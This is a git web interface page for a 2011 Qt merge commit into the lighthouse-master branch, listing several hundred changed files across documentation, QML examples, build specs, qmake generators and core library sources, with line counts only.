summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJørgen Lind <jorgen.lind@nokia.com>2011-03-01 09:40:06 (GMT)
committerJørgen Lind <jorgen.lind@nokia.com>2011-03-01 09:40:06 (GMT)
commit48cd01714e3aa76872983cae820cfc1c7504b065 (patch)
tree0d7cf0938619e845599fe2eb65f21e7999b66c50
parent4d803a3493d15fdf7374689b774d02662dbd43b3 (diff)
parent54869c8727e5403cea866c99a5f83ae9c8533f82 (diff)
downloadQt-48cd01714e3aa76872983cae820cfc1c7504b065.zip
Qt-48cd01714e3aa76872983cae820cfc1c7504b065.tar.gz
Qt-48cd01714e3aa76872983cae820cfc1c7504b065.tar.bz2
Merge remote-tracking branch 'origin/master' into lighthouse-master
-rw-r--r--.gitignore10
-rw-r--r--config.profiles/symbian/bld.inf2
-rw-r--r--config.profiles/symbian/headerexport62
-rw-r--r--config.profiles/symbian/package_definition.xml4
-rw-r--r--config.profiles/symbian/qt.iby4
-rw-r--r--config.profiles/symbian/qt.pkg7
-rw-r--r--config.profiles/symbian/translations/qt_ar.ts7809
-rw-r--r--config.profiles/symbian/translations/qt_fa.ts8510
-rw-r--r--config.profiles/symbian/translations/qt_he.ts7769
-rw-r--r--config.profiles/symbian/translations/qt_ur.ts8510
-rw-r--r--config.tests/unix/doubleformat/doubleformattest.cpp2
-rwxr-xr-xconfigure152
-rw-r--r--demos/browser/networkaccessmanager.cpp9
-rw-r--r--demos/browser/networkaccessmanager.h1
-rw-r--r--demos/declarative/calculator/calculator.qml22
-rw-r--r--demos/declarative/flickr/flickr.qml2
-rw-r--r--demos/declarative/minehunt/minehunt.qml2
-rw-r--r--demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml8
-rw-r--r--demos/declarative/samegame/SamegameCore/BoomBlock.qml2
-rw-r--r--demos/declarative/samegame/SamegameCore/Button.qml2
-rw-r--r--demos/declarative/samegame/SamegameCore/Dialog.qml2
-rwxr-xr-xdemos/declarative/samegame/SamegameCore/samegame.js21
-rw-r--r--demos/declarative/samegame/samegame.qml2
-rw-r--r--demos/declarative/snake/snake.qml2
-rw-r--r--demos/declarative/webbrowser/content/FlickableWebView.qml2
-rw-r--r--demos/qmediaplayer/qmediaplayer.pro2
-rw-r--r--dist/changes-4.7.2299
-rw-r--r--doc/doc.pri4
-rw-r--r--doc/src/declarative/advtutorial.qdoc3
-rw-r--r--doc/src/declarative/anchor-layout.qdoc2
-rw-r--r--doc/src/declarative/basictypes.qdoc202
-rw-r--r--doc/src/declarative/declarativeui.qdoc2
-rw-r--r--doc/src/declarative/dynamicobjects.qdoc18
-rw-r--r--doc/src/declarative/elements.qdoc269
-rw-r--r--doc/src/declarative/example-slideswitch.qdoc12
-rw-r--r--doc/src/declarative/examples.qdoc3
-rw-r--r--doc/src/declarative/extending.qdoc98
-rw-r--r--doc/src/declarative/globalobject.qdoc11
-rw-r--r--doc/src/declarative/javascriptblocks.qdoc42
-rw-r--r--doc/src/declarative/modules.qdoc196
-rw-r--r--doc/src/declarative/positioners.qdoc32
-rw-r--r--doc/src/declarative/propertybinding.qdoc103
-rw-r--r--doc/src/declarative/qdeclarativeintro.qdoc78
-rw-r--r--doc/src/declarative/qdeclarativemodels.qdoc12
-rw-r--r--doc/src/declarative/qdeclarativesecurity.qdoc6
-rw-r--r--doc/src/declarative/qdeclarativestates.qdoc37
-rw-r--r--doc/src/declarative/qml-intro.qdoc16
-rw-r--r--doc/src/declarative/qmlinuse.qdoc28
-rw-r--r--doc/src/declarative/qmlviewer.qdoc3
-rw-r--r--doc/src/declarative/qtdeclarative.qdoc21
-rw-r--r--doc/src/declarative/qtprogrammers.qdoc2
-rw-r--r--doc/src/declarative/tutorial.qdoc4
-rw-r--r--doc/src/declarative/whatsnew.qdoc108
-rw-r--r--doc/src/demos/mediaplayer.qdoc2
-rw-r--r--doc/src/deployment/deployment.qdoc4
-rw-r--r--doc/src/development/developing-with-qt.qdoc8
-rw-r--r--doc/src/development/qmake-manual.qdoc548
-rw-r--r--doc/src/development/qtestlib.qdoc2
-rw-r--r--doc/src/examples/audiodevices.qdoc2
-rw-r--r--doc/src/examples/audioinput.qdoc2
-rw-r--r--doc/src/examples/audiooutput.qdoc2
-rw-r--r--doc/src/examples/basicgraphicslayouts.qdoc8
-rw-r--r--doc/src/examples/combowidgetmapper.qdoc2
-rw-r--r--doc/src/examples/concentriccircles.qdoc2
-rw-r--r--doc/src/examples/drilldown.qdoc2
-rw-r--r--doc/src/examples/elasticnodes.qdoc14
-rw-r--r--doc/src/examples/fancybrowser.qdoc4
-rw-r--r--doc/src/examples/qml-examples.qdoc22
-rw-r--r--doc/src/examples/qml-folderlistmodel.qdoc7
-rw-r--r--doc/src/examples/svgalib.qdoc5
-rw-r--r--doc/src/examples/textfinder.qdoc2
-rw-r--r--doc/src/external-resources.qdoc5
-rw-r--r--doc/src/frameworks-technologies/plugins-howto.qdoc9
-rw-r--r--doc/src/frameworks-technologies/richtext.qdoc1
-rw-r--r--doc/src/getting-started/examples.qdoc6
-rw-r--r--doc/src/getting-started/gettingstarted.qdoc2
-rw-r--r--doc/src/getting-started/gettingstartedqml.qdoc2
-rw-r--r--doc/src/getting-started/how-to-learn-qt.qdoc4
-rw-r--r--doc/src/getting-started/installation.qdoc321
-rw-r--r--doc/src/howtos/HWacceleration.qdoc12
-rw-r--r--doc/src/howtos/restoring-geometry.qdoc2
-rw-r--r--doc/src/howtos/sharedlibrary.qdoc2
-rwxr-xr-xdoc/src/images/audiodevices-example.pngbin0 -> 25856 bytes
-rw-r--r--doc/src/images/audioinput-example.pngbin0 -> 10383 bytes
-rwxr-xr-xdoc/src/images/audiooutput-example.pngbin0 -> 11966 bytes
-rw-r--r--doc/src/images/combowidgetmapper-example.png (renamed from doc/src/images/combo-widget-mapper.png)bin10801 -> 10801 bytes
-rw-r--r--doc/src/images/declarative-colors.pngbin0 -> 4993 bytes
-rwxr-xr-xdoc/src/images/modelview-combobox.png (renamed from doc/src/images/combobox.png)bin5022 -> 5022 bytes
-rwxr-xr-xdoc/src/images/modelview-header.png (renamed from doc/src/images/header.png)bin30302 -> 30302 bytes
-rw-r--r--doc/src/images/qmediaplayer-demo.png (renamed from doc/src/images/mediaplayer-demo.png)bin12868 -> 12868 bytes
-rw-r--r--doc/src/images/qml-positioners-layoutdirection-example.pngbin0 -> 13019 bytes
-rw-r--r--doc/src/images/roaming-states.pngbin0 -> 9527 bytes
-rw-r--r--doc/src/index.qdoc166
-rw-r--r--doc/src/internationalization/linguist-manual.qdoc28
-rw-r--r--doc/src/legal/3rdparty.qdoc12
-rw-r--r--doc/src/legal/commercialeditions.qdoc39
-rw-r--r--doc/src/modules.qdoc4
-rw-r--r--doc/src/overviews.qdoc8
-rw-r--r--doc/src/painting-and-printing/coordsys.qdoc1
-rw-r--r--doc/src/platforms/emb-accel.qdoc4
-rw-r--r--doc/src/platforms/emb-qvfb.qdoc1
-rw-r--r--doc/src/platforms/platform-notes-rtos.qdoc109
-rw-r--r--doc/src/platforms/platform-notes.qdoc6
-rw-r--r--doc/src/porting/porting4-modifiedvirtual.qdocinc2
-rw-r--r--doc/src/porting/porting4.qdoc2
-rw-r--r--doc/src/qt-webpages.qdoc5
-rw-r--r--doc/src/qt4-intro.qdoc4
-rw-r--r--doc/src/snippets/code/doc_src_installation.qdoc7
-rw-r--r--doc/src/snippets/code/doc_src_lgpl.qdoc20
-rw-r--r--doc/src/snippets/code/doc_src_qmake-manual.qdoc12
-rw-r--r--doc/src/snippets/code/doc_src_stylesheet.qdoc2
-rw-r--r--doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp2
-rw-r--r--doc/src/snippets/declarative/application.qml53
-rw-r--r--doc/src/snippets/declarative/colors.qml125
-rw-r--r--doc/src/snippets/declarative/componentCreation.js6
-rw-r--r--doc/src/snippets/declarative/focus/focusColumn.qml2
-rw-r--r--doc/src/snippets/declarative/folderlistmodel.qml12
-rw-r--r--doc/src/snippets/declarative/mousearea/mousearea.qml116
-rw-r--r--doc/src/snippets/declarative/pics/checker.svg17
-rw-r--r--doc/src/snippets/declarative/propertyaction-sequential.qml72
-rw-r--r--doc/src/snippets/declarative/propertyaction.qml62
-rw-r--r--doc/src/snippets/declarative/propertyanimation.qml24
-rw-r--r--doc/src/snippets/declarative/script.js5
-rw-r--r--doc/src/snippets/declarative/states/statechangescript.qml61
-rw-r--r--doc/src/snippets/declarative/transition-from-to-modified.qml60
-rw-r--r--doc/src/snippets/declarative/transition-from-to.qml2
-rw-r--r--doc/src/snippets/declarative/transition-reversible.qml2
-rw-r--r--doc/src/snippets/declarative/transitions-list.qml89
-rw-r--r--doc/src/snippets/declarative/webview/webview.qml51
-rw-r--r--doc/src/snippets/qabstractsliderisnippet.cpp2
-rw-r--r--doc/src/snippets/qstring/main.cpp382
-rw-r--r--doc/src/sql-programming/sql-driver.qdoc4
-rw-r--r--doc/src/template/style/narrow.css14
-rw-r--r--doc/src/template/style/offline.css672
-rwxr-xr-xdoc/src/template/style/style.css1190
-rw-r--r--doc/src/template/style/superfish.css44
-rw-r--r--doc/src/tutorials/addressbook.qdoc2
-rw-r--r--doc/src/tutorials/modelview.qdoc6
-rw-r--r--doc/src/widgets-and-layouts/stylesheet.qdoc66
-rw-r--r--doc/src/windows-and-dialogs/mainwindow.qdoc2
-rw-r--r--doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc4
-rw-r--r--examples/declarative/keyinteraction/focus/focus.qml2
-rw-r--r--examples/declarative/positioners/addandremove/Button.qml (renamed from examples/declarative/positioners/Button.qml)0
-rw-r--r--examples/declarative/positioners/addandremove/add.png (renamed from examples/declarative/positioners/add.png)bin810 -> 810 bytes
-rw-r--r--examples/declarative/positioners/addandremove/addandremove.qml (renamed from examples/declarative/positioners/positioners.qml)0
-rw-r--r--examples/declarative/positioners/addandremove/addandremove.qmlproject (renamed from examples/declarative/positioners/positioners.qmlproject)0
-rw-r--r--examples/declarative/positioners/addandremove/del.png (renamed from examples/declarative/positioners/del.png)bin488 -> 488 bytes
-rw-r--r--examples/declarative/positioners/layoutdirection/layoutdirection.qml151
-rw-r--r--examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject18
-rw-r--r--examples/declarative/text/textselection/textselection.qml2
-rw-r--r--examples/declarative/touchinteraction/pincharea/flickresize.qml90
-rw-r--r--examples/declarative/touchinteraction/pincharea/qt-logo.jpgbin0 -> 40886 bytes
-rw-r--r--examples/declarative/toys/dynamicscene/dynamicscene.qml3
-rw-r--r--examples/declarative/toys/dynamicscene/qml/itemCreation.js7
-rw-r--r--examples/gestures/imagegestures/imagewidget.cpp1
-rw-r--r--examples/itemviews/chart/chart.pro2
-rw-r--r--examples/painting/painterpaths/painterpaths.pro2
-rw-r--r--examples/script/context2d/environment.cpp17
-rw-r--r--examples/script/context2d/environment.h2
-rw-r--r--examples/scroller/plot/main.cpp2
-rw-r--r--examples/scroller/scroller.pro6
-rw-r--r--examples/threads/mandelbrot/mandelbrot.pro2
-rw-r--r--examples/tutorials/addressbook/part6/addressbook.cpp2
-rw-r--r--examples/tutorials/addressbook/part7/addressbook.cpp2
-rw-r--r--mkspecs/common/armcc.conf1
-rw-r--r--mkspecs/common/symbian/symbian-makefile.conf25
-rw-r--r--mkspecs/common/symbian/symbian-mmp.conf5
-rw-r--r--mkspecs/common/symbian/symbian.conf29
-rw-r--r--mkspecs/common/symbian/symbianincludes.h (renamed from tools/qdoc3/apigenerator.h)39
-rw-r--r--mkspecs/features/link_pkgconfig.prf7
-rw-r--r--mkspecs/features/mac/default_post.prf2
-rw-r--r--mkspecs/features/qt_config.prf6
-rw-r--r--mkspecs/features/qt_functions.prf27
-rw-r--r--mkspecs/features/symbian/application_icon.prf108
-rw-r--r--mkspecs/features/symbian/default_post.prf14
-rw-r--r--mkspecs/features/symbian/sis_targets.prf13
-rw-r--r--mkspecs/features/symbian/symbian_building.prf142
-rw-r--r--mkspecs/features/win32/embed_manifest_dll.prf4
-rw-r--r--mkspecs/features/win32/embed_manifest_exe.prf4
-rw-r--r--mkspecs/symbian-armcc/qmake.conf5
-rw-r--r--mkspecs/symbian-gcce/qmake.conf22
-rw-r--r--mkspecs/symbian-sbsv2/flm/qt/qmake_clean.flm18
-rw-r--r--mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm9
-rw-r--r--mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm2
-rw-r--r--mkspecs/symbian-sbsv2/flm/qt/qt.xml5
-rw-r--r--mkspecs/unsupported/integrity-ghs/qmake.conf72
-rw-r--r--mkspecs/unsupported/integrity-ghs/qplatformdefs.h201
-rw-r--r--mkspecs/unsupported/linux-armcc/qmake.conf32
-rw-r--r--mkspecs/unsupported/linux-armcc/qplatformdefs.h100
-rw-r--r--mkspecs/unsupported/qws/integrity-arm-cxarm/qmake.conf12
-rw-r--r--mkspecs/unsupported/qws/integrity-arm-cxarm/qplatformdefs.h (renamed from tools/qdoc3/loutgenerator.cpp)27
-rw-r--r--mkspecs/unsupported/qws/integrity-ppc-cxppc/qmake.conf12
-rw-r--r--mkspecs/unsupported/qws/integrity-ppc-cxppc/qplatformdefs.h (renamed from tools/qdoc3/command.h)24
-rw-r--r--mkspecs/win32-g++/qmake.conf8
-rw-r--r--projects.pro5
-rw-r--r--qmake/Makefile.unix9
-rw-r--r--qmake/Makefile.win328
-rw-r--r--qmake/Makefile.win32-g++7
-rw-r--r--qmake/Makefile.win32-g++-sh8
-rw-r--r--qmake/generators/integrity/gbuild.cpp442
-rw-r--r--qmake/generators/integrity/gbuild.h (renamed from tools/qdoc3/uncompressor.h)45
-rw-r--r--qmake/generators/metamakefile.cpp32
-rw-r--r--qmake/generators/symbian/symbiancommon.cpp27
-rw-r--r--qmake/generators/symbian/symbiancommon.h1
-rw-r--r--qmake/generators/symbian/symmake.cpp29
-rw-r--r--qmake/generators/symbian/symmake_abld.cpp4
-rw-r--r--qmake/generators/symbian/symmake_sbsv2.cpp78
-rw-r--r--qmake/generators/unix/unixmake.cpp4
-rw-r--r--qmake/generators/win32/mingw_make.cpp80
-rw-r--r--qmake/generators/win32/mingw_make.h4
-rw-r--r--qmake/generators/win32/winmakefile.cpp40
-rw-r--r--qmake/option.cpp2
-rw-r--r--qmake/option.h2
-rw-r--r--qmake/project.cpp23
-rw-r--r--src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog53
-rw-r--r--src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri3
-rw-r--r--src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp46
-rw-r--r--src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h9
-rw-r--r--src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp14
-rw-r--r--src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h117
-rw-r--r--src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp132
-rw-r--r--src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h120
-rw-r--r--src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp6
-rw-r--r--src/3rdparty/javascriptcore/VERSION4
-rw-r--r--src/3rdparty/phonon/mmf/abstractaudioeffect.h2
-rw-r--r--src/3rdparty/phonon/phonon/factory.cpp18
-rw-r--r--src/3rdparty/webkit/WebCore/WebCore.pro2
-rw-r--r--src/3rdparty/webkit/WebKit/qt/Api/qwebkitglobal.h4
-rw-r--r--src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp10
-rw-r--r--src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc2
-rw-r--r--src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc19
-rw-r--r--src/3rdparty/zlib/zlib.h2
-rw-r--r--src/corelib/animation/qabstractanimation.cpp11
-rw-r--r--src/corelib/animation/qabstractanimation.h6
-rw-r--r--src/corelib/animation/qvariantanimation.cpp13
-rw-r--r--src/corelib/arch/arch.pri2
-rw-r--r--src/corelib/arch/integrity/arch.pri3
-rw-r--r--src/corelib/arch/qatomic_arch.h4
-rw-r--r--src/corelib/arch/qatomic_armv5.h2
-rw-r--r--src/corelib/arch/qatomic_integrity.h289
-rw-r--r--src/corelib/arch/symbian/qt_hybridheap_symbian_p.h3
-rw-r--r--src/corelib/codecs/qtextcodec.cpp6
-rw-r--r--src/corelib/concurrent/qfutureinterface.cpp9
-rw-r--r--src/corelib/concurrent/qfutureinterface_p.h5
-rw-r--r--src/corelib/corelib.pro9
-rw-r--r--src/corelib/global/global.pri2
-rw-r--r--src/corelib/global/qglobal.cpp2
-rw-r--r--src/corelib/global/qglobal.h51
-rw-r--r--src/corelib/global/qnamespace.h16
-rw-r--r--src/corelib/global/qnamespace.qdoc15
-rw-r--r--src/corelib/io/io.pri4
-rw-r--r--src/corelib/io/qfilesystemengine.cpp2
-rw-r--r--src/corelib/io/qfilesystemengine_unix.cpp8
-rw-r--r--src/corelib/io/qfsfileengine_unix.cpp8
-rw-r--r--src/corelib/io/qprocess_unix.cpp34
-rw-r--r--src/corelib/io/qresource.cpp2
-rw-r--r--src/corelib/kernel/kernel.pri16
-rw-r--r--src/corelib/kernel/qcore_symbian_p.h16
-rw-r--r--src/corelib/kernel/qcoreapplication.cpp26
-rw-r--r--src/corelib/kernel/qcoreapplication.h1
-rw-r--r--src/corelib/kernel/qcoreapplication_p.h2
-rw-r--r--src/corelib/kernel/qcrashhandler.cpp3
-rw-r--r--src/corelib/kernel/qeventdispatcher_symbian.cpp5
-rw-r--r--src/corelib/kernel/qeventdispatcher_symbian_p.h3
-rw-r--r--src/corelib/kernel/qeventdispatcher_unix.cpp5
-rw-r--r--src/corelib/kernel/qeventdispatcher_win.cpp5
-rw-r--r--src/corelib/kernel/qeventloop.cpp5
-rw-r--r--src/corelib/kernel/qmetaobject.cpp48
-rw-r--r--src/corelib/kernel/qmetaobject.h3
-rw-r--r--src/corelib/kernel/qmetaobject_p.h6
-rw-r--r--src/corelib/kernel/qmetatype.h2
-rw-r--r--src/corelib/kernel/qobject.h8
-rw-r--r--src/corelib/kernel/qobjectdefs.h2
-rw-r--r--src/corelib/kernel/qsharedmemory.cpp6
-rw-r--r--src/corelib/kernel/qsharedmemory_unix.cpp14
-rw-r--r--src/corelib/kernel/qsharedmemory_win.cpp3
-rw-r--r--src/corelib/kernel/qsystemsemaphore_symbian.cpp4
-rw-r--r--src/corelib/kernel/qsystemsemaphore_win.cpp3
-rw-r--r--src/corelib/kernel/qtranslator.cpp2
-rw-r--r--src/corelib/plugin/plugin.pri4
-rw-r--r--src/corelib/plugin/qfactoryloader.cpp4
-rw-r--r--src/corelib/statemachine/qstatemachine.cpp7
-rw-r--r--src/corelib/thread/qmutex.h9
-rw-r--r--src/corelib/thread/qmutex_unix.cpp5
-rw-r--r--src/corelib/thread/qthread.cpp10
-rw-r--r--src/corelib/thread/qthread_p.h2
-rw-r--r--src/corelib/thread/qthread_unix.cpp28
-rw-r--r--src/corelib/thread/qthread_win.cpp5
-rw-r--r--src/corelib/thread/thread.pri4
-rw-r--r--src/corelib/tools/qbytearray.cpp10
-rw-r--r--src/corelib/tools/qeasingcurve.cpp20
-rw-r--r--src/corelib/tools/qlocale.cpp2
-rw-r--r--src/corelib/tools/qscopedvaluerollback.cpp84
-rw-r--r--src/corelib/tools/qscopedvaluerollback.h (renamed from tools/qdoc3/loutgenerator.h)44
-rw-r--r--src/corelib/tools/qset.h2
-rw-r--r--src/corelib/tools/qshareddata.h4
-rw-r--r--src/corelib/tools/qsharedpointer_impl.h10
-rw-r--r--src/corelib/tools/qstring.cpp8
-rw-r--r--src/corelib/tools/tools.pri8
-rw-r--r--src/dbus/qdbusargument.h15
-rw-r--r--src/dbus/qdbusconnection.cpp20
-rw-r--r--src/dbus/qdbusdemarshaller.cpp21
-rw-r--r--src/dbus/qdbusintegrator.cpp43
-rw-r--r--src/dbus/qdbusmetaobject.cpp37
-rw-r--r--src/dbus/qdbusmetatype.cpp1
-rw-r--r--src/dbus/qdbusxmlparser.cpp53
-rw-r--r--src/declarative/debugger/debugger.pri8
-rw-r--r--src/declarative/debugger/qdeclarativedebugclient.cpp36
-rw-r--r--src/declarative/debugger/qdeclarativedebugserver.cpp361
-rw-r--r--src/declarative/debugger/qdeclarativedebugserver_p.h88
-rw-r--r--src/declarative/debugger/qdeclarativedebugserverconnection_p.h73
-rw-r--r--src/declarative/debugger/qdeclarativedebugservice.cpp319
-rw-r--r--src/declarative/debugger/qdeclarativedebugservice_p_p.h (renamed from tools/qdoc3/sgmlgenerator.h)36
-rw-r--r--src/declarative/debugger/qdeclarativedebugtrace.cpp144
-rw-r--r--src/declarative/debugger/qdeclarativedebugtrace_p.h50
-rw-r--r--src/declarative/debugger/qpacketprotocol.cpp9
-rw-r--r--src/declarative/debugger/qpacketprotocol_p.h5
-rw-r--r--src/declarative/declarative.pro7
-rw-r--r--src/declarative/graphicsitems/graphicsitems.pri11
-rw-r--r--src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp43
-rw-r--r--src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h1
-rw-r--r--src/declarative/graphicsitems/qdeclarativeborderimage.cpp64
-rw-r--r--src/declarative/graphicsitems/qdeclarativeborderimage_p.h4
-rw-r--r--src/declarative/graphicsitems/qdeclarativeflickable.cpp119
-rw-r--r--src/declarative/graphicsitems/qdeclarativeflickable_p.h4
-rw-r--r--src/declarative/graphicsitems/qdeclarativeflickable_p_p.h1
-rw-r--r--src/declarative/graphicsitems/qdeclarativeflipable.cpp2
-rw-r--r--src/declarative/graphicsitems/qdeclarativeflipable_p.h6
-rw-r--r--src/declarative/graphicsitems/qdeclarativegridview.cpp249
-rw-r--r--src/declarative/graphicsitems/qdeclarativegridview_p.h4
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimage.cpp112
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimagebase.cpp52
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimagebase_p.h15
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h10
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp (renamed from tools/qdoc3/polyarchiveextractor.cpp)74
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h100
-rw-r--r--src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h (renamed from src/network/access/qnetworkaccessdatabackend_p.h)48
-rw-r--r--src/declarative/graphicsitems/qdeclarativeitem.cpp286
-rw-r--r--src/declarative/graphicsitems/qdeclarativeitem.h5
-rw-r--r--src/declarative/graphicsitems/qdeclarativeitem_p.h12
-rw-r--r--src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp25
-rw-r--r--src/declarative/graphicsitems/qdeclarativelistview.cpp252
-rw-r--r--src/declarative/graphicsitems/qdeclarativelistview_p.h4
-rw-r--r--src/declarative/graphicsitems/qdeclarativeloader.cpp38
-rw-r--r--src/declarative/graphicsitems/qdeclarativeloader_p.h4
-rw-r--r--src/declarative/graphicsitems/qdeclarativeloader_p_p.h8
-rw-r--r--src/declarative/graphicsitems/qdeclarativemousearea.cpp57
-rw-r--r--src/declarative/graphicsitems/qdeclarativemousearea_p.h5
-rw-r--r--src/declarative/graphicsitems/qdeclarativemousearea_p_p.h3
-rw-r--r--src/declarative/graphicsitems/qdeclarativepath.cpp6
-rw-r--r--src/declarative/graphicsitems/qdeclarativepathview.cpp60
-rw-r--r--src/declarative/graphicsitems/qdeclarativepincharea.cpp582
-rw-r--r--src/declarative/graphicsitems/qdeclarativepincharea_p.h308
-rw-r--r--src/declarative/graphicsitems/qdeclarativepincharea_p_p.h109
-rw-r--r--src/declarative/graphicsitems/qdeclarativepositioners.cpp252
-rw-r--r--src/declarative/graphicsitems/qdeclarativepositioners_p.h24
-rw-r--r--src/declarative/graphicsitems/qdeclarativepositioners_p_p.h4
-rw-r--r--src/declarative/graphicsitems/qdeclarativerectangle.cpp25
-rw-r--r--src/declarative/graphicsitems/qdeclarativerepeater.cpp125
-rw-r--r--src/declarative/graphicsitems/qdeclarativerepeater_p.h6
-rw-r--r--src/declarative/graphicsitems/qdeclarativescalegrid.cpp10
-rw-r--r--src/declarative/graphicsitems/qdeclarativetext.cpp377
-rw-r--r--src/declarative/graphicsitems/qdeclarativetext_p.h34
-rw-r--r--src/declarative/graphicsitems/qdeclarativetext_p_p.h19
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextedit.cpp329
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextedit_p.h31
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextedit_p_p.h17
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextinput.cpp311
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextinput_p.h22
-rw-r--r--src/declarative/graphicsitems/qdeclarativetextinput_p_p.h16
-rw-r--r--src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp7
-rw-r--r--src/declarative/qml/parser/qdeclarativejslexer.cpp2
-rw-r--r--src/declarative/qml/qdeclarative.h77
-rw-r--r--src/declarative/qml/qdeclarativebinding.cpp62
-rw-r--r--src/declarative/qml/qdeclarativebinding_p.h13
-rw-r--r--src/declarative/qml/qdeclarativeboundsignal.cpp31
-rw-r--r--src/declarative/qml/qdeclarativecompiledbindings.cpp48
-rw-r--r--src/declarative/qml/qdeclarativecompileddata.cpp30
-rw-r--r--src/declarative/qml/qdeclarativecompiler.cpp271
-rw-r--r--src/declarative/qml/qdeclarativecompiler_p.h8
-rw-r--r--src/declarative/qml/qdeclarativecomponent.cpp109
-rw-r--r--src/declarative/qml/qdeclarativecomponent.h1
-rw-r--r--src/declarative/qml/qdeclarativecomponent_p.h3
-rw-r--r--src/declarative/qml/qdeclarativecontext_p.h1
-rw-r--r--src/declarative/qml/qdeclarativecustomparser.cpp11
-rw-r--r--src/declarative/qml/qdeclarativecustomparser_p.h3
-rw-r--r--src/declarative/qml/qdeclarativedom.cpp8
-rw-r--r--src/declarative/qml/qdeclarativeengine.cpp305
-rw-r--r--src/declarative/qml/qdeclarativeengine_p.h36
-rw-r--r--src/declarative/qml/qdeclarativeenginedebug.cpp169
-rw-r--r--src/declarative/qml/qdeclarativeenginedebug_p.h6
-rw-r--r--src/declarative/qml/qdeclarativeexpression.cpp41
-rw-r--r--src/declarative/qml/qdeclarativeexpression.h3
-rw-r--r--src/declarative/qml/qdeclarativeexpression_p.h12
-rw-r--r--src/declarative/qml/qdeclarativeimageprovider.cpp10
-rw-r--r--src/declarative/qml/qdeclarativeimport.cpp126
-rw-r--r--src/declarative/qml/qdeclarativeinstruction_p.h1
-rw-r--r--src/declarative/qml/qdeclarativelist.cpp1
-rw-r--r--src/declarative/qml/qdeclarativemetatype.cpp183
-rw-r--r--src/declarative/qml/qdeclarativemetatype_p.h8
-rw-r--r--src/declarative/qml/qdeclarativeobjectscriptclass.cpp29
-rw-r--r--src/declarative/qml/qdeclarativeparser.cpp7
-rw-r--r--src/declarative/qml/qdeclarativeparser_p.h2
-rw-r--r--src/declarative/qml/qdeclarativeprivate.h2
-rw-r--r--src/declarative/qml/qdeclarativeproperty.cpp123
-rw-r--r--src/declarative/qml/qdeclarativeproperty_p.h18
-rw-r--r--src/declarative/qml/qdeclarativepropertycache.cpp24
-rw-r--r--src/declarative/qml/qdeclarativepropertycache_p.h39
-rw-r--r--src/declarative/qml/qdeclarativerefcount_p.h2
-rw-r--r--src/declarative/qml/qdeclarativerewrite.cpp62
-rw-r--r--src/declarative/qml/qdeclarativerewrite_p.h4
-rw-r--r--src/declarative/qml/qdeclarativescriptparser.cpp37
-rw-r--r--src/declarative/qml/qdeclarativesqldatabase.cpp2
-rw-r--r--src/declarative/qml/qdeclarativestringconverters.cpp6
-rw-r--r--src/declarative/qml/qdeclarativetypeloader.cpp6
-rw-r--r--src/declarative/qml/qdeclarativetypeloader_p.h4
-rw-r--r--src/declarative/qml/qdeclarativetypenamescriptclass.cpp5
-rw-r--r--src/declarative/qml/qdeclarativevaluetype.cpp1
-rw-r--r--src/declarative/qml/qdeclarativevaluetypescriptclass.cpp32
-rw-r--r--src/declarative/qml/qdeclarativevme.cpp24
-rw-r--r--src/declarative/qml/qdeclarativeworkerscript.cpp73
-rw-r--r--src/declarative/qml/qmetaobjectbuilder.cpp33
-rw-r--r--src/declarative/qml/qmetaobjectbuilder_p.h2
-rw-r--r--src/declarative/qml/qml.pri9
-rw-r--r--src/declarative/qml/qperformancetimer.cpp226
-rw-r--r--src/declarative/qml/qperformancetimer_p.h79
-rw-r--r--src/declarative/util/qdeclarativeanimation.cpp70
-rw-r--r--src/declarative/util/qdeclarativeanimation_p_p.h3
-rw-r--r--src/declarative/util/qdeclarativeapplication.cpp112
-rw-r--r--src/declarative/util/qdeclarativeapplication_p.h (renamed from tools/qdoc3/linguistgenerator.h)61
-rw-r--r--src/declarative/util/qdeclarativeconnections.cpp19
-rw-r--r--src/declarative/util/qdeclarativefontloader.cpp14
-rw-r--r--src/declarative/util/qdeclarativelistmodel.cpp93
-rw-r--r--src/declarative/util/qdeclarativelistmodel_p.h3
-rw-r--r--src/declarative/util/qdeclarativelistmodel_p_p.h6
-rw-r--r--src/declarative/util/qdeclarativelistmodelworkeragent.cpp28
-rw-r--r--src/declarative/util/qdeclarativelistmodelworkeragent_p.h5
-rw-r--r--src/declarative/util/qdeclarativeopenmetaobject.cpp1
-rw-r--r--src/declarative/util/qdeclarativepixmapcache.cpp22
-rw-r--r--src/declarative/util/qdeclarativepixmapcache_p.h12
